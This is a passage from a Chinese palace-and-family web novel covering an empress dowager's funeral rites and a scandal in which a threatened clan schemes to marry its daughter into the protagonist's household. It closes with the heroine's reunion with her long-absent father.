苏钰做为准太子妃,地位成了最高的。 苏钰身后就是晋阳长公主,再往下是一长串的公主王妃,慕容宁的位次相当靠后。 谷夫人的位次依旧,右边队例第一位,外命妇的领头人。 杨阁老都不在了,内务府依然不敢把她的位次往下挪。也是无人能顶替,关楚河老婆出家,其他人都不够资格。 “起。”太监高声唱喝着。 从中午跪到晚上,晚饭都是小太监给塞的点心,走不了,晚上要给关太后守灵。 第192章 第 192 章 命妇守灵,是真辛…… 命妇守灵, 是真辛苦,那么多人挤在慈宁宫,内殿根本就跪不下,只能跪到院子里。 幸运的是, 入秋不久, 天气不冷不热, 晚上多加件衣服也能撑过去。 要是换成大雪天, 或者大夏天日头正毒时,守灵当天跟着走都有可能。 苏钰与谷夫人做为内外命妇的领头人, 那么多双眼晴看着,想偷懒都难。 苏钰还好,谷夫人年龄大了,这么跪着实在辛苦。 “姑娘,您要是觉得累了, 可以先去偏殿休整一会。”管事太监小声说着。 此时己经半夜,慈宁宫内虽然灯火通明,却是人困马乏, 悄悄偷个懒也没什么。 苏钰摇摇头, 却是看向谷夫人, 悄声说着,“老太太去歇歇吧。” 苏钰心里明白, 关太后死了, 关家还没倒,现在不知道多少眼晴盯着她。她若是此时被抓住错,关家肯定要拿来做文章。 谷夫人则不同,她的诰命来自杨阁老。杨阁老都死了,连累不到别人。 再者谷夫人向来体弱, 这种大丧,折腾起来是真能折腾死人的。 谷夫人本欲摇头拒绝的,身体却不受控的栽了下去。管事太监吓了一跳,赶紧扶住谷夫人,“老太太您快去歇歇吧。” 两个小太监上前,掺着腿都跪麻了的谷夫人起来,扶到偏殿里稍事休息。 跪灵想休息,只能借口吃饭更衣时,稍微休息那么一下。 苏钰继续跪着,不自觉得看一眼后头的跪灵大队。 晋阳长公主刚入夜时就借口更衣离开了,至今未归,应该是有事。 慕容宁离开的更早,刚开始跪灵就走了。 关家女眷里没有出挑的,也没有值得留意的。关家虽然人多,但出色真的不多。 “睿王侧妃怎么不在?”苏钰小声问管事太监。 守灵是男女分开的,关倩倩做为孙媳妇,只要还有一口气在,太后大丧肯定是守灵的。 哪怕是侧妃,跪的远,那也得跪着。 管事太监悄声说着,“钦天监说睿王不吉,不宜参加太后丧仪。” 秦铮不吉利,不能参加丧仪,关倩倩做为他的附庸更没资格参加。 又是不吉,这吉不吉的一直围着秦铮转,偏偏显庆皇帝就相信。用玄学拿捏显庆皇帝,果然一捏一个准。 苏钰心中无语,也不再问,继续跪着。 约摸一柱香的功夫,谷夫人就回来了,小太监扶着在灵前跪好。 “皇上驾到。” 突然一声高喊,晕晕欲睡差点栽倒的众诰命马上提起精神,拿起帕子高声哭泣着,一秒进入哭坟模式。 苏钰早有准备,生怕眼泪不够,哭的不够真。在家里时,丫头就在帕子上抹了蒜汁,轻轻擦一下,马上泪流满面。 按理说这个时候,显庆皇帝做为大孝子,也得跟着狠哭一场,不管真假,场面总得走一下。 显庆皇帝却没哭,甚至脸上还带着几分高兴。 好像领导视察工作,看着员工都在卖力工作,不但不悲伤,甚至想表扬一番。 在贴身太监的提醒下,显庆皇帝最终没说出惊天之语,还是在棺椁前掉了两滴泪,高高兴兴走了。 一连三天守灵,昏倒的诰命不知道多少个。 最难的三天过去,接下来是二十一天的入朝随祭,诰命跟大臣一样,入朝随班,按爵守制。 这二十一天可以回家,类似上班打卡,白天折腾,至少晚上是可以回家睡觉的。 苏钰每天第一个到,最后一个走,没办法,太后,皇后,贵妃都没有了,准太子妃要做的事情太多。 丧仪由内务府操办,但像哭丧种种内务,还是得有一个女主人领头办。 如此折腾完二十一天,接下来是棺椁移入皇陵,进入丧仪的最后一个步骤。 皇陵在孝慈县,离京城很远,来回一趟再加上丧仪时间又得一个月。 三品以上诰命都得去,从谷夫人起,苏家一个跑不掉。 早在丧仪之初,谷夫人就把苏玫和云棠叫过来,让俩人一起商议着管家。 杨云娘和程采蓝继续住在乐道堂,杨云娘到底年长,经的事也多,万一家里有什么事,她也能照看些。 苏邑留家里,看家护院,苏越协助。苏珩目前还住在苏家,也跟着料理。 苏玫和云棠虽然跟着叶氏学习管家,但两个人乍然接手,又逢大事,不免手忙脚乱。 命妇入朝打卡这二十一天里,己经乱成一团,现在各房打包收拾行李,不免忙上加乱。 诰命都得去,大臣更得去。幸好苏天华身体底子好,受伤虽重,养的也快,不然都要撑不住了。 此时听雨轩里,胡婆子指挥丫头收拾整理,孝慈县来回一趟,再加上丧仪的时间,前后至少得一个多月。 苏钰的饮食起居都得十分小心,要带的东西就多了,只是行李就得一辆车。 宫里的嬷嬷要带上一个,可以随时提点宫规和礼仪。苏略安排的,两个女侍卫和两个男侍卫,安保最重要,都得带上。 再加上贴身的丫头婆子,只是一辆车只怕都坐下。 “姑娘,真的不要我跟着吗?”绿川不禁说着。 要送陵,丫头婆子肯定不能全带上,但她自觉得侍侯苏钰这么多年,肯定会带上她。 没想到苏钰选了琉璃和胡婆子,让她看家。 “主子都走了,各房得留个能管事的。”苏钰笑着说,“琉璃和胡婆子跟着我就好,你好好看家。” 绿川见苏钰主意己定,不敢再言语。 心里却是清楚,苏钰与她生分了,主仆是主仆,从小相伴的情份虽然还在,主仆身份优先。 次日清晨,车驾出发,内务府安排好的时间,哪家车驾在前,哪家在后,全部都有规矩。 因为死的是关太后,依然是关家的车驾在前,苏家的车驾在后。 送殡队伍从皇城起,浩浩荡荡的车驾,一路向皇陵。 显庆皇帝丧仪上只露了一次脸,薛迟倒是去的勤,至少场面活做了。 现在出殡,显庆皇帝没来,薛迟没来,好久不出现在人前的三皇子送殡。 很长一段时间里,三皇子做为显庆皇帝唯一成年的儿子,倍受关注,许多朝臣都以为他能继承皇位。 而现在薛迟己经是太子,关太后死,生母关贵妃被赐死,三皇子成了人人避之不及的存在。 赶了一天路,天黑的时候终于到了孝慈县。 幸运的是,叶家在孝慈县有一处家庙,苏天华早早派人去打扫整理,环境比之家里虽然差很远,总有个住处。 好些官员还在忙着租房子,几家搭伙租一起的也不少。 坐了一天车,送殡的车驾又不能太豪华,坐下来就格外辛苦。 下人们整理行李,生火做饭,都是匆匆吃了几口就赶紧睡了,明天还有得忙。 第二天五更起,新的地方新的忙碌,苏钰早上忙到晚上,中午吃饭都很随意。 晚上更衣入睡时,胡婆子小声对苏钰说着,“关老太太今天拉着三太太说了好久的话。” 关家人上门,被谷夫人请了出去。 后来进宫给关太后守灵,宫里人多事多,想说悄悄话很难的。 皇陵就不同了,各家住的散,也不像皇宫四处都是宫人太监。 母亲跟女儿说话,说多久,怎么说都行。 苏钰眉头皱紧,考虑到苏玫被留在家里,临行前她还特意多嘴去提醒苏玫,要是外公家送东西来,千万不能收。 谷夫人也跟苏玫说过其中的厉害关系,苏玫很坚定的答应了。 现在关老太太亲自来找关氏,亲生母亲所托,关氏很难拒绝。 但能让关老太太开口的事,只怕是不能答应的。 “据奴婢所知,关家前不久添丁,是个男孙。”胡婆子说着。 关氏娘家人口并不多,有一个庶妹早就出嫁,一兄一弟也早己成家,两个大侄子己经娶亲,两个侄女还未出阁。 据说己经定了亲事,关太后大丧,最近一年是不可能了。 添的这个男丁,就是大侄子的嫡妻所生,长子长孙,身份贵重。 苏钰明白了,要是金银之事,还有其他亲友还可托。 现在事关重长孙,必然要做万全的准备,其他人信不过,只能托给嫡亲。 关家这么急切的找后路,不止金银财物,连男丁都想着托出去了,看来是自觉得要不好了。 按照大周的律法,以关家现在的地位,若是出事,最有可能的处置,七岁以上男丁斩立决,七岁以下流放。 对女子相对宽松些,像关太后那样,只因为一点小事就把郑家女眷送进教坊的,是极少数。 绝大多数出事家族的女眷会入奴籍,插标发卖,有些甚至是亲友买走,官家也不会管。 七岁以下的女孩,要是有嫡亲亲友愿意收留的,也可以领走。 “三房的事,我一个隔房晚辈不好管。”苏钰说着。 尤其是关氏才从莲花庵回来,好不容易放下心结,决定好好生活了。 看着苏玫和苏越,她是真心希望关氏活的好。 胡婆子目光闪烁,欲言又止。 “劳烦妈妈盯紧些,我会找个时间回禀老太太。”苏钰说着。 她不好管,谷夫人管的了。 第193章 第 193 章 钦天监挑选了皇道…… 钦天监挑选了皇道吉日, 关太后棺椁入皇陵,葬仪终于结束。 所有人都了松口气,前后折腾一个多月,终于都结束了。 就在所有人起程回去时, 三皇子突然上折子, 想为关太后守陵三年, 请皇上恩准。 苏钰靠着引枕, 闭目养神。 皇陵清苦,一般来说, 守陵都是处罚。一般会自请守陵,都是为了避祸。 三皇子身后是关家,这意思是认输? 夺嫡不是过家家,就像造反没有造一半的,战争既然开始了, 就一定得分个输赢。 就是三皇子年龄小,思虑不周,关楚河可不傻。 最有可能是, 三皇子是真的想守陵, 关楚河想的是以退为进。 毕竟关太后死了, 薛迟己经是太子。这时候再硬刚,对关家不利。 “姑娘, 水烧好了。”绿川说着。 车驾刚进府, 琉璃带着人整理行李,绿川守家,该准备的早就准备好。 苏钰有些困倦,但想到这一个月送陵,全身都要掉泥了, 强撑着点点头。 洗完澡,苏钰刚想睡觉,就见胡婆子匆匆走进来,在苏钰跟前说着,“三太太的娘家侄女,跟四爷……” “啊?”苏钰的睡意顿时被惊醒了,“怎么回事?” 回府之后,胡婆子没有跟着琉璃收拾东西,而是先在各房转了一圈。 多事之秋,府里只有几个孩子和杨云娘在,保不齐哪里就会出事。 果然,三房出事了。 众人离开后,关大老爷,苏玫和苏越的亲舅舅来了,因为是舅舅,两人不能不见。 关大老爷的来意,大概就是想存放些东西在府里。因为走前都有叮嘱,苏玫好声好气的拒绝了。 大概就是长辈们都不在家,小孩子不能做这么大的主,凡事等老太爷回来再说。 关大老爷虽然很失望,但也没说什么就走了。 事是昨天出的,关大太太带着女儿关秀秀来了,亲舅母和亲表妹,苏玫和苏越招呼的。 关大太太倒是没再说存放东西的话,更像是来叙旧话家常的。 关太后死了,关贵妃死了,三皇子要守陵。对关家来说,靠山都倒了,风雨欲来大厦将倾。 抄家灭族近在眼前,将来只怕见面都难。 关大太太哭的伤心,苏玫和苏越心里也十分难受。早年苏天佑与关氏不和,关氏总是带他们兄妹回娘家,舅舅舅母对他们是很好的。 要不是朝堂关系太过于复杂,不是她一个小女孩能做主的,舅舅的要求,苏玫不会拒绝。 眼看到中午,苏玫留关大太太和关秀秀吃饭,四人一起吃完饭,苏玫与关大太太说话的功夫,苏越就和关秀秀滚床上去了。 苏玫当时就傻了,婆子见状,赶紧去叫杨云娘过来。 杨云娘到底年长些,先命人把苏越关起来,免得他情绪激动说错话。又让婆子看着关秀秀,这才与关大太太说话。 杨云娘说话很客气,却是绵里藏针。 关氏虽然是苏越的母亲,但上头还有长辈在。就是生米煮成了熟饭,苏震岳和谷夫人要是不同意,苏天佑同意都没用,更不用说关氏。 要是想着大闹一场,搞得人尽皆知,那就更别指望了。苏家那么多下人,按住两母女简单的很。 关大太太见讨不到便宜,只得带着关秀秀走了。 杨云娘这才放了苏越,至于后续要怎么办,也论不到她做主。 苏家众人回来后,杨云娘知道谷夫人此时肯定疲惫不堪,没敢说此事,只等明天谷夫人睡醒了再说。 但这么大的事,就是杨云娘交代不准外传,哪里能瞒的住,估摸现在该知道的都知道了。 “关家的女儿,这么难嫁了吗?”苏钰忍不住说着。 她见过关大太太,大家闺秀贤良淑德,在高门贵妇里相当有名望。 要是以前,关大太太只怕听到这种事,都会嫌脏捂耳朵,而现在竟然亲自干出来了。 胡婆子道:“关大太太应该是不放心。” 关家两个女儿,关秀秀是嫡出,关大太太亲生的。 好几年前就就定好人家,对方倒是没说过要退亲。但是两家姻亲关系过密,基本上关家抄家了,亲家也保不住。 这种情况下,指望着出嫁女不受连累,压根不现实,嫁不嫁都那么回事。 至于退亲另外再寻一个,仓促寻亲,那就是拿女儿的后半辈子赌。 若只是遇人不淑,甚至称的上好命。多少娘家的倒台出事的,哪怕孩子都生了,依然担心被连累,直接杀妻。 关大太太会盯上苏越,脸面都不要了,直接生米煮成熟饭,应该是多方考虑。 苏家虽然出情种,行事奇葩不可思议,但人品是能保证的。 关氏嫁给苏天佑这些年,除了感情不和,苏天佑真没亏待过关氏。 关秀秀要是能嫁给苏越,关氏这个婆婆肯定能照看着。苏家就是对关秀秀不满,也不会狠毒到虐待或者杀妻。 “越哥儿那边怎么说?” 苏钰不自觉得揉揉太阳穴,只觉得头像针扎一样疼。这些天来的辛苦,又坐了一整天车,她是真累了。 胡婆子道:“三姑娘与四爷说了一会话,后来四爷就把自己关屋里。” 事后苏越很沉默,可以说是一言不发,他到底是怎么想的,只有他自己知道了。 苏钰不自觉得轻叹口气,“经常见面的表兄妹,若是有情意,早就定亲了。” 以关氏和娘家的亲密程度,双方肯定都愿意亲上加亲。 只有两个当事人皆无意,甚至有一方拒绝过,长辈才会完全不提这茬。 以苏越的性情,会把表妹当亲妹都有可能。跟自己的亲妹出了这种事,他一时间接受不了也正常。 胡婆子想了想,还是道:“这门亲事,十分不妥。” “要是妥当,关大太太也不至于出此下策。”苏钰说着,“算了,先睡觉,明天等老太太醒来再说。” 三房的事情,总要谷夫人决断。 苏钰召来丫头侍侯自己安置,很快沉沉睡去。谷夫人回府后就睡了,没人敢打扰。 关氏和苏天佑也很累,也想休息,但哪里休息的了。 “女儿管家不利,惹出这样的乱子,请父亲、母亲责罚。”苏玫哭泣着跪了下来。 家中长辈都不在,谷夫人让她和云棠管家。自家舅母来了,她全程招呼的,结果出了这样的事,是她的错。 苏天佑懵了好一会,好似终于反应过来,对苏玫挥手说着,“你起来,与你无关。” 关大太太就是冲着苏家长辈不在,才设的这个局。 苏玫年龄小,又是一直疼爱她的舅母,被算计了,也情有可原。 婆子扶着苏玫起来,苏玫依然抹着眼泪。 关氏却还在迷茫状态,追问着苏越,“你跟秀姐儿,真的,真的就……” 不是送个手绢,拉个小手,而是直接滚床上? 进屋后苏越就正堂跪着,一言不发,此时关氏追问,这才低说着,“是。” 他与关秀秀自幼相识,不知道见过多少面,跟他亲妹妹差不多。 当关秀秀对他说,她的玉佩掉在屋里,让他帮忙找时,他没有任何犹豫就进屋了。 然后,关秀秀关上门,拿出迷情香。 苏天佑看着低着头的苏越,知道错不在他,但事情出了,总是要解决的。 “明天老太爷和老太太醒了,就会过问此事,今晚上想清楚,明天要怎么回答。”苏天佑说着,无奈的挥挥手,“都去睡吧。” “是。”苏玫应着。 各自回屋,关氏被婆子扶着,一路回到玉粹堂,整个人还在懵逼状态。 她整个人好像在飘着,脑中思绪乱成一团,努力想理个头绪,却怎么都做不到。 “太太,您先喝口茶。”张婆子奉茶上来,看着关氏这样,知道她一时间接受不了,还没反应过来。 关氏茫然接过茶碗喝了一口,对张婆子说着,“我待她不薄,她为何要做出这种事?” 张婆子知道这个她,指的是关大太太。 她是关氏的陪嫁丫头,深知关大太太性情,要不是走投无路,绝不会让自己的亲生女儿,做出这等事。 “老爷说了,有老太太决断。”张婆子柔声说着,“太太别想太多,早些休息吧。” 苏天佑的意思再明白不过,他不打算管。 谷夫人做主,关氏不管有任何想法,都没有意义,不如不想。 关氏长长叹口气,突然道:“我修了这么久的佛,好像都白修了。” 张婆子不敢接话,修佛是为了了缘,但人世间的缘,哪里是轻易能了的。 主仆俩正说着,就有丫头进门说,“舅太太打发婆子来说话。” 关氏怔了怔,张婆子道:“太太若是不想见,让她回去即是。” 事情闹成这样,关家如此不占理,苏天佑都说不管了,关氏不插嘴更好。 “大嫂一直对我很好。”关氏说着,“让她进来吧。” 做了二十年的姑嫂,关大太太是真心对她好,还是面子情份她是知道的。 “是。”婆子应着,赶紧去了。 片刻后,婆子引着一个婆子打扮妇人进来,却披着斗篷,头戴兜帽。 关氏愣了一下,只见来人掀开兜帽,赫然是关大太太。 不等关氏说话,关大太太直接跪了下来。 第194章 第 194 章 “妹妹,我求求你…… “妹妹, 我求求你。” 关大太太泪流满面,对着关氏跪了下来。 关氏吓了一大跳,连张婆子都愣住了,连忙去扶关大太太。 关大太太却执意不肯起身, 哭泣说着, “妹妹, 我只有这么一个女儿, 实在没办法。” 关大太太进门不久,就被诊出子嗣艰难。养在身边的儿子是丫头生的, 因为自己生不出来,关大太太早就绝了子嗣的念头。 关秀秀是这种情况下怀上的,只有这么一个孩子,心肝宝贝一样,是男是女根本不重要。 “这, 这……”关氏急的有些不知所措,不禁说着,“大嫂, 何止如此。” 要是关大太太跟她说, 想要苏越当女婿, 这门亲事不是不能商量。 就是不成,京城出挑的男子多了。关家是百年大族, 女儿更是金尊玉贵, 怎么会嫁不出去。 “妹妹,你命好。”关大太太不禁说着,“现在的情形就是何止如此。” 关氏与苏天佑虽然不和,但苏家门第无可挑赐,丈夫仕途片亨通, 家财万贯吃用不尽。 关氏在很长一段时间里,上头没有婆婆,中间有妯娌,没有姨娘小妾,更没有庶子庶女。 这样的生活,对于高门贵妇来说,何止是幸福,那是太幸福了。 至于那点最微不足道的感情,房里一堆妾室,一堆丫头的男人,能有多少感情给正室。 一个还能沉浸在自己情绪里的女人,是很幸福的。因为许多高门贵妇,绝大部分时间都沉浸在婆婆,妾室,庶子庶女上。 “我刚从莲花庵回来,京城到底出了事?”关氏茫然说着。 关大太太是后宅妇人,丈夫的官职也不高,许多事情都是听关老太爷和关老太太说的。 哭泣着说的断断续续,夺嫡之争,是生死之争。 薛迟己经是皇太子,未婚妻是苏天翊的女儿,这种局面,关家无力回天。 留后路的主意,是关老太爷的意思,总不至于家财抄尽。 “就是这回的事,也是老太太点头的。”关大太太哭泣说着。 关老太太主动提起两个孙女的婚事,两个婆家都不怎么牢靠,不如赶紧退了亲,送出京城,哪怕是寻个商贾之家,只求不被连累。 关大太太深知,这种情况下把女儿匆匆嫁出京城,也是拿命赌。 她只有这么一个孩子,她赌不起,也不敢赌。 亲戚朋友里面,靠谱的,又不会被关家连累的,也只有苏家,苏越也尚未娶亲。 贤良淑德了这么多年,这是生平第一次叛道经离。 关大太太踹踹不安的先与关秀秀说,没想到关秀秀沉默一会后,不但马上答应了,态度甚至比她还要坚决。 连告知关老太太,也是关秀秀的主意。想的就是,要是关氏这里求不通,指望着关老太太卖个老脸。 前因后果,全盘托出后,关大太太哭泣着给关氏磕头,“妹妹,我知道我对不起你,下辈子结草衔环报答你的大恩。” 关氏早就听傻了,身体不自觉得软了下来,要不是张婆子扶着,只怕要跌坐在地板上。 关家完了,关家真的要完了…… “舅太太,这事由不得太太做主。”张婆子见关氏说不出话来,索性自己把话说了。 当初关氏跟苏天佑的矛盾之一,就是关氏给苏越定了关家女。 要是以前,苏越和关秀秀出了这事,苏家也许还能捏着鼻子认下。 现在的情况,苏家是不在乎与关家撕破脸的,想认下亲事就更难了。 关大太太听着也有点愣神,没想到关氏连自己儿子的婚事都做不了主。 张婆子继续说着,“刚才老爷说了,这事要等明天老太太定夺。” 茫然中的关氏也回过神来,眼泪止不住的往掉,想到关家百年荣耀,想到父母兄弟之情。 看向关大太太时,想到嫂子这些年的骄傲,到这种地步,确实是没办法了。 “越哥儿的婚事,我确定做不了主。”关氏哭泣着,对着关大太太也跪了下来,姑嫂对着下跪。 “至于秀姐儿,我答应嫂子,会尽我所能的周全。” 话己至此,关大太太知道这是关氏能承诺的极限,重重的向关氏磕个头,“一切都托给妹妹了。” 她只有这么一个女儿,能为她做的,只有这些。 张婆子送走关大太太,回到屋里,只见关氏依然哭泣着。 “关家真的要完了吗?”关氏忍不住对张婆子说着。 能让自己的亲嫂子,那样骄傲尊贵的人放下自尊面子,做出这等下作之事来,只为了给自己的女儿求一条活路。 张婆子哪里敢接话,只是说着,“明天还要早起,太太还是早些歇着吧。” *** 连续这些天的疲惫,让谷夫人起的有些晚。 早饭和中饭几乎是一起吃的,等谷夫人吃完饭,刘顺家的才缓缓把事情说了。 谷夫人听完,不禁叹口气,并不意外。 在皇陵时,她就注意到关老太太跟关氏一直说不停,在这里等着呢。 刘顺家的见她面露疲惫之色,不禁说着,“老太太若是乏了,让老太爷处置也是一样的。” 谷夫人摇摇头,“自己的亲孙子,累了也得管。” 苏震岳是武将,要是家里有人犯了错,打板子处罚他是会的。 但事关男女名誉,后宅之事,他是管不了的。 “把老三夫妻,越哥儿唤来。”谷夫人说着,想了想又说,“把大姑娘也叫来。” “是。”刘顺家的应着,赶紧去了。 片刻后,苏天佑,关氏,苏越一起来了,苏钰稍慢一步,也紧跟着进屋。 看到屋里的三口,苏钰有些意外,本以为家里人都在,没想到只有她一个外人。 “都坐吧。”谷夫人说着,脸上的疲态尽显。 三人坐下来,唯有苏越,直接跪了下来,低头说着,“孙儿向祖母请罪。” 谷夫人没理会他,先是看向苏天佑,“你怎么看?” 苏天佑起身道:“儿子教子无方,惹下大祸,全赁母亲处置。” 谷夫人又看向关氏,“你是越哥儿的母亲,又是关姑娘的姑妈,你怎么办?” 关氏一晚上没睡,此时眼还是肿的,想到关大太太,心里难受至极,“秀秀是我娘家侄女,我自然是想着能她当我儿媳妇。但儿女婚事,本就牵扯甚多,又做出这等丑事来,实在无颜开口,全赁老太太处置,绝无怨言。” 她想了一晚上,苏越的婚事,她做不了主。 要是谷夫人不同意婚事,她会给关秀秀另寻婆家,将来就是关家出了事,自己这个姑妈也会尽可能顾全她,不会让婆家虐待她。 谷夫人听得点点头,关氏到莲花庵住了一阵子,确实是想明白了很多事。 “钰姐儿,你觉得呢?”谷夫人看向苏钰。 苏钰顿时明白,谷夫人喊她过来的目的。 关家出事后,关家女会如何处置,全赁皇帝一念之间。 虽然有律法条文,罪不及出嫁女,但出嫁女因娘家而被连累的从不在少数。 更有甚者,不明白说出来,只是向婆家施压,逼着婆家杀了媳妇。 苏钰做为未来的皇后,要是同意苏越娶关秀秀,也就是答应,将来关家出事,绝不会累及关秀秀。 她要是不想答应,这门婚事就完全不考虑。 也没办考虑,娶一枚炸弹回家,万一再生下孩子,后续麻烦太多了。 苏钰想了想,却是看向苏越,“越哥儿,你可愿意娶关秀秀?” 苏越被问的怔了一下,好一会才说,“我与表妹自幼相识,并无男女之情。只是既出了这样的事,我该承担起责任。” 被人算计,他也生很气。 但是想到关秀秀,他要是不娶她,她要怎么办。 苏钰轻叹口气,苏越对关秀秀确实没有爱,但多年情义,却有责任心。 这反而是最麻烦的,要是苏越对关秀秀是真爱,也算是成全了,将来夫妻和美,至少不会生怨怼。 因为承担责任而开始的婚姻,弄不好就是苏天佑婚姻的翻版。 幸运的是,苏越没有真爱,也没人逼他非得娶。 只希望他将来也不会遇到真爱。 “既然小四也想娶,这门亲事也不是不可。”谷夫人说着。 关氏顿时大喜,就想起身给谷夫人下跪。 “只是国葬之中,一年内不能嫁娶。”谷夫人说着,“定亲也不合时宜。” 关氏愣了愣,有点没明白过来。 苏钰却明白了,谷夫人是要跟关家对赌。 放到以前,儿女婚事因为国孝拖一年没什么。现在京城局势变幻莫测,关家在这一年内出事的概率很高。 国孝期间,有爵位的人家要爵守制,虽然不能成亲,让官媒婆写婚书,下聘礼是可以的。按礼法上,女方收了聘礼就算是男方的人了。 现在连定亲都没有,要是这一年里关家出事,苏家就是想认下亲事也没认。 关大太太整这一出,就是希望女儿靠出嫁躲祸,更能嫁个好人家。 要是嫁不出去,那一切的算盘都将落空。未出阁的女儿,罪就重了。 这一年之期,现在就看关大太太愿不愿意赌了。 什么代价都不付,就靠着上不了台面的手段,不但保命还要保富贵,没那么便宜的事。 第195章 第 195 章 第二天中午,关家…… 第二天中午, 关家就送来消息,愿意一年后成亲。 “关大太太十分犹豫,还想着让关老太太出面,把婚事马上定下来了, 关秀秀却一口答应了。”胡婆子说着。 苏钰有些意外, “这位关姑娘, 倒是很有主意。” 就是母亲的吩咐, 年轻小姑娘能执行,用迷情香生扑相熟的表哥, 这也需要勇气。 “千金小姐,不想未来生活在泥泞里,愿意赌一把也是有的。”胡婆子说着。 知道要出事了,为了保女儿性命仓促嫁女的,敢娶能是什么人家可想而知。 既想保性命, 又要继续富贵,那就要赌命了。 结果即出,苏钰也不再过问。 连着这些天辛苦, 她只想好好休息一下, 恢复体力。 一年国孝, 高门大户都得按爵守制,连宴会都没有, 清静了。苏邑和程采蓝原定的婚期, 都被迫推迟一年。 皇宫却不在此列,毕竟天下间最不守规矩的就是皇帝。皇家守孝,是以日代年,二十七天过去就该干嘛干嘛了。 尤其像显庆皇帝这样的,出殡当天都敢设宴, 更是百无禁忌。 苏钰做为准太子妃,正常情况下,待嫁就好了,现在宫中是非常正常情况。 别人能因为国孝能闲着,她得随着准备着,有得休息就赶紧休息。 琉璃十分有眼色,看出苏钰想午睡,上前侍侯着苏钰更衣。 绿川进到屋里,走到苏钰跟前说着,“姑娘,夏老板恢复的很好,己经能下床走路,他想进府给姑娘道谢。” “能恢复就好,也不枉他受的这番罪。”苏钰高兴说着,“刚能下床,还要多养着,等彻底好了再来见我。” “是。”绿川应着,回想当时医治的情景,不禁说着,“夏老板也是能忍,有好几次起了高热,那样的伤,大夫都担心他撑不过去。” 苏钰并不意外,“他心里有一口气,这口气能撑着他。” 血海深仇还没报,再多的苦难,他都能撑下去。 说话间,苏钰己经躺到床上,绿川不敢再言,退到一旁守着。 苏钰这一觉睡的很香,睁开眼时己是夕阳夕下,琉璃一直守在床边,看到苏钰醒了,连忙唤小丫头进来侍侯。 “这一觉睡的倒是舒服。”苏钰不禁说着。 琉璃笑着说,“姑娘这些日子太累,是该多歇歇。” 苏钰也觉得是很累,幸好一直以来身体康健。 “姑娘睡着的时候,宫里来人了,传话说,明天上午宫里派人接您进宫。”琉璃笑着说。 按理说宫里来人传话,当事人只要在家,肯定要亲自见的。 没想到宫里的太监不止过份客气,都可以用态度谄媚来形容。 得知苏钰在午睡,哪里敢喊她起来,只说话带到即可,连胡婆子塞的红包都不敢收。 “让嬷嬷准备好。”苏钰说着。 不是第一次进宫,但做为准太子妃,还在太后孝中进宫,要注意的事项就多了。 “是。”琉璃应着,又说着,“今年的冬衣发下来了,姑娘要看看吗?” 因为国孝中,从主子到下人,衣服都偏素色,甚少有鲜艳的。 连首饰都是,多是珍珠银饰翡翠,连件有颜色的都没有。 “不看了,以后这些琐事,你们处理即可。”苏钰说着。 以前得了新衣服新首饰,总会看看挑一挑,若是家里做的不喜欢,就拿银子外头做。 混吃等死嘛,享受人生。 现在事情一件件,一桩桩的,睡觉都要睁着眼,哪里还有时间看衣服首饰。 及至次日,苏钰早早起床开始收拾,传旨太监只说有人来接,并没有说具体时间。 准太子妃可以让来人等一会,但不能等太久,该收拾准备的,还是得准备好。 考虑到国孝中,嬷嬷给苏钰挑的衣服清简许多,又不能太素净,免得显庆皇帝不喜。 梳头更衣,两个丫头正侍侯着穿外衣,就听外头传来婆子的惊呼声,“大老爷来了……” 苏钰呆了呆,“父亲……” 这些天来,苏天翊就没回过家,苏略偶尔回来,要么是跟苏震岳议事,要么是跟苏天华议事,饭都没吃过。 除了那天宴席上,她就再没见过苏天翊。 十年不见,父亲是真的很忙。 丫头打起帘子,苏天翊进到屋里。 苏钰顾不得衣衫,心中涌起的情绪,再也压抑不住,她走到苏天翊跟前,眼泪落了下来,“父亲。” 苏天翊看着她,向来内敛的心绪翻滚着。 对这个女儿,他是有愧的。在她很小的时候,他大部分精力都在教导苏略。 直到后来苏钰读书启蒙,他刚教完苏钰握笔,就要领兵出征。 当时他只想着,自己的孩子,总有时间教。 结果,他就离开了十年,错过了女儿的所有成长期。 苏钰意识到自己的失态,连忙擦着眼泪,请苏天翊坐下,又亲自奉茶,“父亲离家多年,女儿未能膝下承欢,是女儿不孝。” 记得好几年前,她还想过,要跟苏略一样,跟随在苏天翊身侧。 当然,只是想想,苏略不答应。 苏天翊接过茶碗,看着眼圈微红的苏钰,低声轻喃着,“是我不好,没有尽到当父亲的责任。” 苏钰摇摇头,以前她不知道苏天翊为何离开,现在知道,她没有丝毫怨怼。 慕容弦想抓的人是她,错抓成罗星。罗星替她挡灾,间接救了她一命。 “跟我说说,这些年你的怎么样。”苏天翊说着。 苏钰点头,正要开口,突然想到今天要进宫的,现在并不是叙旧的好时候。 苏天翊看出她的担忧,笑着说,“不着急,一会我带你进宫。” 苏钰微微怔了下,神情有些微妙,看着苏天翊说着,“父亲,现在住在宫里?” 而整个京城,能让苏天翊消失不见,连家都不回,也只有显庆皇帝了。 苏天翊笑着点点头,“皇上有事与我商量。” 能让显庆皇帝热心,并为之发狂的,也就是长生之术了。 只能说,显庆皇帝能当皇帝,纯靠运气。 苏钰没问显庆皇帝跟苏天翊商量什么,只是问着,“父亲,不会再走了吧。” 苏天翊离开京城,是为了找罗星。 现在罗星找到了,就不会再离开了吧。 苏天翊轻轻笑着,眼眸中闪过一丝无奈,却是摸摸苏钰的头,“今天时间很多,跟我说说,你跟薛迟。” 没有回答,意思再明白不过。 苏钰压下心底的失望,说起了与薛迟的相识。 毕竟是跟父亲说,很多感情说不出口,只是讲了一下过程。 苏天翊静静听着,不禁说着,“还真是有缘。” 认错人这种事,都能发生,只能是缘份。 “薛迟待我很好。”苏钰说着。 苏天翊神情淡然,“他是未来的皇帝。” “母亲告诉我了。”苏钰说着,直视着苏天翊,“或许这就是命。” 慕容宁曾经说过,薛迟也许是因为苏天翊才对她好,毕竟有这样的一位岳父,对他的助益足够大。 她从未如此想过,是不是真心很容易分辩。而且以薛迟的骄傲,不会靠着舔女人上位。 歪打正着,就是如此巧合,她与薛迟相爱了。 让苏天翊和薛迟的联盟,更加的坚固牢靠。同样的,这也让她的婚姻,更加的稳固。 双赢,所有人都高兴的局面。 苏天翊看着苏钰坚定的神情,有瞬间的沉默,眼中有一丝欣慰。 既然决定要当皇后,就不能丝毫的退缩和犹豫。这不是普通的家族联姻,这是背负着全族荣耀,甚至于生死,一步都不能退的战场。 “世人都说,感情不重要,其实人与人之间,最重要的就是感情。”苏天翊说着,“你们能够彼此喜欢,这份情意足够支撑你当皇后。” 后宫不比别处,拥有至高无上的权力后,男人会更随心所欲。 